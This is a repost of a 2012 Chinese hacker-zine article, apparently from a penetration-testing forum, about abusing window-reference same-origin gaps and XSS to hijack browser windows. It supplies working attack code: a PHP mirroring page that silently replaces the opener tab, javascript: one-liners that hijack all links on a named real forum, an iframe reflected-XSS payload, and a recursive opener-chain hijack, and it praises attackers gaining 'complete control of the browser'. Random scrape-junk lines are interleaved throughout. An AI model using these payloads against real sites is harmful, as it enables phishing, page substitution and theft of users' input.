中国网络渗透测试联盟
标题:
[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
[打印本页]
作者:
admin
时间:
2012-9-13 17:10
标题:
[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
==Ph4nt0m Security Team==
1 `0 z* _& d# L
5 P! b6 D+ R- o9 h5 q& s
Issue 0x03, Phile #0x05 of 0x07
, x" }5 C0 l2 A
+ R+ W, F: A9 o& ~% C% ^" D8 _
; @) r# N. I, w$ S9 j+ \0 l
|=---------------------------------------------------------------------------=|
& w8 e( i% T' F I5 H+ n
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
2 A$ u( I/ v! I4 M/ S
|=---------------------------------------------------------------------------=|
$ O1 o' s7 @$ J
|=---------------------------------------------------------------------------=|
0 A( s6 L7 u+ I2 ^, ]
|=------------------------=[ By rayh4c ]=---------------------------=|
4 r5 B- ` T# a4 x
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
+ x7 B/ r- I( F& Q) G
|=---------------------------------------------------------------------------=|
. E5 D& F3 M/ ?
6 E) R* ]7 u( k* J
4 ], {; V& C2 l8 _: r
[目录]
7 S; j8 v) r( y7 G& n, J- {# Y
' @) Y7 M5 S% `" L; r
1. 前言
6 u' y& r$ W( O& f
2. 同源策略简叙
7 d# X6 g0 K( R4 U! q) j& s
3. 理解window对象的同源策略
- \( S( u. \' M1 m
4. 窗口引用功能中的同源策略漏洞
! a( J" J8 \0 A
4.1 父窗口引用子窗口的同源策略问题
* ?8 W/ d: _! Q# C
4.2 子窗口引用父窗口的同源策略问题
0 ~+ N) t- W- q3 U) R: c
5. 利用窗口引用漏洞劫持浏览器
& I& K1 i/ y' K& j% n; [
6. 利用XSS漏洞劫持浏览器
* J' F$ r/ D. v$ n0 H/ Z/ [
6.1 正向跨窗口劫持
# c8 Q( c0 m; e* w$ j
6.2 反向跨窗口劫持
5 r" s' X9 S' C: z. G# \: s
6.3 极度危险的跨框架窗口引用劫持
2 j6 ?$ v# B2 m( s& e- L& l9 a2 ^
6.4 极度危险的正反向跨窗口递归劫持
! A; h3 D0 c; O7 @; ]+ R/ B' _1 I
6.5 完全控制浏览器
5 b, a8 X$ Q# O6 p; g% Z" f' n* l
7. 后记
) F: ^. \( s# \6 m6 T7 d0 |( x
8. 参考
! a6 ^7 s" i5 ~: X
8 ]8 H3 a Z( H1 e
8 _' P( p1 E! o& f2 A
一、前言
" g" k) `' Z/ I3 Q1 v# M
% O$ c/ l% u4 f" o+ m, m
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
. n6 b0 s: s! @. d% O9 U
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
$ Q6 [9 W- y' L( v! l6 z7 s$ H
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
$ P- z* Q" ^5 y; f
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
8 p8 z0 G% a& n% F8 P$ T9 g
' ^5 L( s/ D( H
& a# G6 m. M* X8 z/ t) r
二、同源策略简叙
2 v* I4 a+ d' {% e+ W" O+ G
1 U3 H V8 J9 B+ r- p9 ~+ b
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
. X, Z; N! S1 v1 `; {
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
) S3 c4 S" B6 r1 A+ {" e" x, S3 W7 ?
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
3 S: {# o( o" g# r8 t) _+ |" _
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
5 h. c$ \/ U- ^" h0 S
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
: }* M7 {+ x; E( W9 g; D. a
- r8 V. ~& _) ~7 Z6 M
& x7 g/ z0 T6 A! h1 B# |1 R
三、理解window对象的同源策略
2 y% e+ h% U4 x% A4 t
: `# G% r' K% p0 f; [9 S9 k! P
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
$ ?( @9 k9 |3 @ W4 `6 Y
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
7 v" f' N0 s* h0 n( c) a+ R- N
+ q2 e+ P% I* z5 k3 w
--code-------------------------------------------------------------------------
5 [3 M) s# c+ L {" |
<script language="javascript">
0 A6 k0 e5 T5 c1 t: d2 i
for(p in window) document.write(p+"<br>");
- n' ?0 v/ w/ t- K: p. p5 l
</script>
; T' a6 X& u. z. P% l3 ]! M* g
-------------------------------------------------------------------------------
7 {6 X. s" @5 ?" E2 q2 ~+ }
# T# P @+ v" U J/ R
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
. ]2 j4 S. c7 {7 X# w {: J& u
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
. n o7 x k( h6 @/ t0 H
这些属性和方法就必须遵循同源策略。
% }6 i+ ]9 F6 P
: m# t4 J% W3 [
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
" t/ Y1 O: k$ }! G
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
( J- O# T$ E+ }
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
, I# W0 E5 Q, |
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
. b4 C* ?9 C- x) I4 h
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
* a9 n0 A4 e$ j" X2 b
属性并没有被拒绝访问。
; j8 Y! b' Z+ H L8 {+ Z/ l4 }
4 t6 W0 I& G( N! i
--demo.html--------------------------------------------------------------------
6 \3 C8 n' B' }" f3 m. E
<script language="javascript">
* E7 f& t) ?. C3 G
function allPrpos(obj) {
% i* y8 F0 T6 \+ h
var props = "<table><tr><td>名称</td><td>值</td>";
4 _, P/ T: \6 A
for(var p in obj){
' y: k% f9 v& k# m* D
if(typeof(obj[p])=="function"){
/ h: `: w$ Q2 U, A f9 o
obj[p]();
# E- J! c4 v3 m0 ?8 y7 V. D, r
}else{
/ I4 j+ U1 \0 |) b" `! P$ D! T
try
5 R$ ]" ?3 r& @, `
{
" ^. K; `7 H- \( U5 x* I. d6 G
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
6 X2 l2 |! M7 \. @5 D, L8 t
}
& E7 g _ \8 n3 T
catch (ex)
9 n3 Y. ^. k5 |& l% {
{
, {1 i [0 e* U; }
8 j; p3 k* t! _7 y0 e+ a2 [7 P
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
& \, ` F, w9 V9 @6 U" ^
}
: w0 W& o5 G" [3 b, Z
; K; g4 y# ~5 `& L; `6 F
}
4 b" c7 K$ `8 w$ K
}
: j* f+ G" g( }: N
1 \+ Q) l4 ?$ t
document.write(props+"</table>");
% I* F# ~( i. @& ~
}
% j0 o/ q9 n" M# A/ P, i. ^6 E1 w
# i3 V. _; V6 i! W" g; Q6 E# j
function createWin() {
! {' T1 `5 r& c; Z
newWin = window.open ("http://www.google.com");
) } O, x9 F) S% T0 {, [4 y9 P
setTimeout(function(){allPrpos(newWin)},2000);
, D; d0 K T1 y7 p
}
% ?- `! E9 l! v% G
3 P G6 C* \, }- o
</script>
3 F# {; g' W( C e& _& R9 a n/ h4 u1 ~
3 t6 C; f: k: V1 _: H: d
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
* @7 i5 k7 D) U! a( `1 Q
-------------------------------------------------------------------------------
8 \; o4 n9 O2 W) M9 N8 F
8 h7 Y4 ^, |- p. j+ N% m, V/ O, e
! C5 g3 h# J' L8 D0 ]0 ^
四、窗口引用功能中的同源策略漏洞
9 g4 ~5 \+ Z+ H" }
7 H8 M+ l* N( h1 w% {$ ?* \& H
4.1 父窗口引用子窗口的同源策略问题
$ p8 S ?3 E" P/ y$ T" {! |& p
$ m" N& g$ d. `; c- x
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
6 U1 f4 Y" N7 N" H" c
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
9 P" @9 g; ~: F
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
1 v1 w0 S- }' ^2 o4 |
行测试,会发现父窗口可以控制非同源子窗口location属性值。
0 O |) K$ F, _* [% p0 ^
0 n# u" V( y* y
--vul1.html--------------------------------------------------------------------
6 T) s5 _' _# R2 M, @$ b
<script language="javascript">
0 W% ]2 t5 Q3 x3 F" {
function createWin() {
; z" l# v. s! l" x# t$ O2 o
newWin = window.open ("http://www.google.com");
8 k& f7 ~. |: g7 R- H3 o" z3 @
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
7 `4 x& z7 z) J) W l$ V
}
1 W, ^+ k! o" b6 x. d/ h# z
</script>
& Z1 `: A# @( m' o$ ^/ r+ X& k
9 H. w- l, \! w8 Z
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
" j; j1 g8 y5 r. H1 |2 D
-------------------------------------------------------------------------------
, s, Y/ y6 ]4 t7 x
: O6 j: b- s, i. P# }$ V4 g. X
% x8 n$ U& \& b8 _8 I
4.2 子窗口引用父窗口的同源策略问题
2 Z/ h0 Z. ]( W. S% z
( c2 ?& e* G/ F! u) p
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
! v8 [' B% M d# \9 n) J3 O
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
) U/ \1 N/ x: l' G0 r6 q
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
1 g% k6 A$ a6 y( Z2 q
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
6 p) l1 p% H* L
0 y3 o# x* B1 ^; G6 E c/ W
--code-------------------------------------------------------------------------
$ _( i4 E j- D: W
# ~2 b7 z1 k6 \" m; |
javascript:window.opener.location = "http://www.80sec.com";void(0);
: v) L0 B1 l% U: _! f
) t$ l8 }1 }; e' e8 f
-------------------------------------------------------------------------------
: J/ I4 i: m7 } |+ c2 K V
. z g1 p, Z$ F8 e
6 b- q7 S% ? P" W! E5 P% p/ B+ U, h: ^
五、利用窗口引用漏洞劫持浏览器
) ]% O$ f6 V0 k7 k! P
S' L5 G9 n5 Z1 f. |
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
, B! a) y7 h# W2 O5 v D& t
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
9 `* G6 N4 N( ^+ A6 B; X) m
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
2 S5 g& {: \6 D+ k$ ? U* }
4 O7 Q7 E8 V6 Y4 D0 h
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
) r* c: u" K w, o# l! y, K
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
# s9 f2 H- r' }
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
9 Y" _0 T% G7 ^+ }- V* u
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
% I* D& U+ O; l" m0 T/ v6 g
会产生什么可怕的后果。
( Z% E( b0 Z2 z# l# l
9 z1 ~$ ~4 p$ O- |$ Z. b. h" O5 W, K
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
; ^$ x6 t9 o! z) ?0 [
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将
http://127.0.0.1/hjk_ref.php
" U% Y1 P4 c5 g1 z
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
2 e* ?5 H" r6 U, J4 K! a1 F. {
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
0 Y9 q# j' |5 e% w
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
1 O1 ~8 @8 v/ y
( a9 l% u' _+ n0 C
--hjk_ref.php------------------------------------------------------------------
3 g$ Z( L7 }2 {3 c K1 L
<?php
2 Q0 z* i5 v: q' j
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
" i4 ~& m- e7 D5 h, {# {
$Url_Mirror = $_SERVER["HTTP_REFERER"];
) n. I/ B& u; Q" u2 \
}
# j% Z- e3 S4 W% y
if(isset ($_GET['ref'])) {
M7 F- S7 o# A' g* o
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
& c' C5 W5 g5 r* N9 z4 J5 h
}
1 M# Y# ^8 {% w* L/ [! ^ d
?>
6 i5 A* U6 f; v
2 s& L# }7 s( e, m& E4 w
<script language="javascript">
M' @: m; ~) D% Z
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
) r5 C z- @( C% F2 S' Q
</script>
. v1 b" s4 H0 v p% v
-------------------------------------------------------------------------------
* B& h5 |7 g) T5 W9 a- C+ V4 y8 H
6 T7 ~( \% }$ {3 c. h" K; w
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
& i" g3 J! t! @% Z3 q/ d( i* e
# N4 s2 Z+ B3 _6 r D [+ {- F; A) L
+ g" Q E F2 ` ]& Q b
六、利用XSS漏洞劫持浏览器
6 v& x0 J5 v3 m0 v* t
( g# C% t" F2 e9 y- s
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
) L/ L8 t: H2 j' S1 e' h$ t
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
- e7 u, t1 B, J& N" I
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
& o+ @ u; C4 f
讨论跨站师的终极技巧:
! {! Q9 S$ e6 `$ I1 [& B
' {! g& l5 b5 Q6 q
: A. ~) q0 }+ Z R- u
6.1 正向跨窗口劫持
) C+ C1 L" G, I% q* e6 z I5 o
4 S S! c, q# _: e" U* K
大家可以先试验下hijack_open.js这个脚本,比如打开
http://bbs.dvbbs.net/
动网论坛
2 C E0 v! V6 a u& l4 l
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
/ l% E' p& G2 c( x
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
) z8 N: J8 h0 v2 L+ O [# J+ p7 F( ?
框脚本。
6 _/ H3 O- B# i- l& W j
! t% T8 u. J1 B# T: W5 @
--hijack_open.js---------------------------------------------------------------
8 t6 X& P2 K5 B' [( j; u4 i
% o" ]$ P. v, d/ b0 k6 w' m
javascript:for(i=0;i<document.links.length;i++){document.links
.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
0 j& x, d0 \4 D' k2 E2 E. b, A& R5 U+ f
8 i3 g. P6 d# e8 g d" P+ F
-------------------------------------------------------------------------------
. \. \0 {6 U6 Z/ L! B# {
$ I. v9 v* i9 u# N7 ]6 v/ R* ^
1 _( T& @4 n) }: f8 T0 }' A
6.2 反向跨窗口劫持
8 y* u' n- v' w7 i% M3 V
( H* \. d/ ?9 \2 ]
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
: W. _8 l6 W# E0 Q
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
+ `) j9 E- h+ A9 r2 T
框脚本。
# f0 j6 U4 `# {' w
4 U6 d( q# \- a" m8 \
--hijack_opener.js-------------------------------------------------------------
3 q# a# r1 c+ P9 q* f; Q/ x
. f, _8 B* P# R: O1 I" T
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
2 T; J1 a- y, n+ q
; ?5 F) v* }: A* y) r
-------------------------------------------------------------------------------
2 V7 Q1 o) Z1 S
) x' D! k; w5 i
; O, X( F1 Z7 z( U. o
6.3 极度危险的跨框架窗口引用劫持
3 U* k) q; M) K
" E0 N% }* Q# Y j
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
, |: W; ?, K+ p8 e2 o( X' w* L
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
) a. D/ a9 F. q, j; L& X, @3 y
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
0 H, k1 t5 p, m9 N) A, W
非持久型的XSS,如下:
, Z% Z7 @# n& c- [4 G6 e) f7 w9 x
; f/ s; H4 c1 t1 r& ]8 y. [
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
, g5 u% Y9 H# o6 h: s9 j* I
7 P3 I2 [ F* E; G8 N: t8 {9 ~/ F
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
1 `& @- `7 d1 g, `: M+ E- D
注入脚本。
) f3 s/ O" y/ j. h4 \* P9 f
7 P, V7 V# r! f/ Z
--hijack_frame_opener.js-------------------------------------------------------
2 s* ~+ c9 x% b" s
<script>
* I+ t9 x2 W5 d0 M
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
$ \( G D' ?% T! b
</script>
$ |0 x" Y7 P+ s
-------------------------------------------------------------------------------
5 q; g0 k0 j/ K- P' n. p/ M
, @- V; f' d" J3 \
3 B- t+ l- `1 \, J* d. c3 ~" ]' m+ [
6.4 极度危险的正反向跨窗口递归劫持
8 v0 n$ ~2 {$ n+ [9 O
- q6 d( p. g! K( h1 P( X A% j
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
' \# J& O* R& z
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
. t( ?; o+ n+ h2 N) ]
异常处理规避之间跨域页面的访问异常,代码如下:
$ M& R7 u% D; Q. v' n
9 U) m( ?% A+ y' {1 T3 a G& {* U
--code-------------------------------------------------------------------------
9 |) b( g) L' a3 z m
u+ a/ [; q' l1 D1 P2 w
javascript
function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
/ [3 H5 X' Q' X7 x
5 G' I$ T- H' F8 Y2 x; Q3 P( m
-------------------------------------------------------------------------------
" X5 y% t4 U6 {/ @
: E% g5 n0 b6 Z
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
, n3 n9 d3 ]" @8 w9 k3 M
以劫持B域之前的A域页面,从而实现“隔空打击”。
9 {) h% Y4 W' w. ]/ k4 [3 c: D' t, r
8 @. X$ K4 q( K$ O! k: q! |' K
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
6 V( U0 o/ R( x: h P( |+ n5 |
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
; ^# i" y8 r) ]
. B0 W) V' _6 a' }2 h
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
5 n6 E0 T2 W; E1 J" o
$ \$ f+ u) S3 w
" s- r. X6 X; f) p! O- `# [
6.5 完全控制浏览器
0 F: x+ y$ e) I/ { \7 [
. V( J X% g2 R t5 v7 A
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
; r/ I1 B( P B, m
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
0 ]$ S0 X7 D% B5 w/ B
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
8 \6 k' Q4 \" Q: ]2 V
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
; [3 F; {$ j3 R- R
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
8 M1 T+ @( W" e( E6 C2 P4 X9 F
师的终极目标 - 完全控制浏览器。
* O; g; D, ]5 O% E0 s, h
8 z4 o* [9 B4 N0 ]3 g) t) J5 W
2 A4 _$ D6 q$ V ^' c
七、后记
4 w. d( g7 s' u
6 }+ _$ V$ S7 a `/ \
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
/ N1 C: n$ d& j2 q w
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
; N4 m' {1 ]; }* A) l7 Q6 P8 s8 }
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
- I8 i: n5 j% ^ g1 e" t
% A1 W; t7 F# z( `% _5 N! x5 X
0 C, R+ k' e9 x
八、参考
3 y9 x1 u* k5 ~3 ?- t7 S
; \1 p4 b/ m3 J8 T1 S2 T7 @
1.
http://en.wikipedia.org/wiki/Same_origin_policy
, O+ @( B: L, q' Q: x$ j7 q; Y4 _: K/ U
2.
http://code.google.com/p/browser ... licy_for_DOM_access
0 Y1 [- G% e! @
3.
http://www.w3.org/TR/Window/
9 @( m l8 O& s- C
4.
http://www.80sec.com/release/browser-hijacking.txt
6 p3 Q- b5 p* E: U
5.
http://www.80sec.com/all-browser-security-alert.html
2 D6 K6 q( Q' u- d0 @( Q" |3 A
6.
http://www.80sec.com/ms08-058-attacks-google.html
+ \8 C& f/ ]' z
2 T& Y6 e, W. \! l; F9 n
-EOF-
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2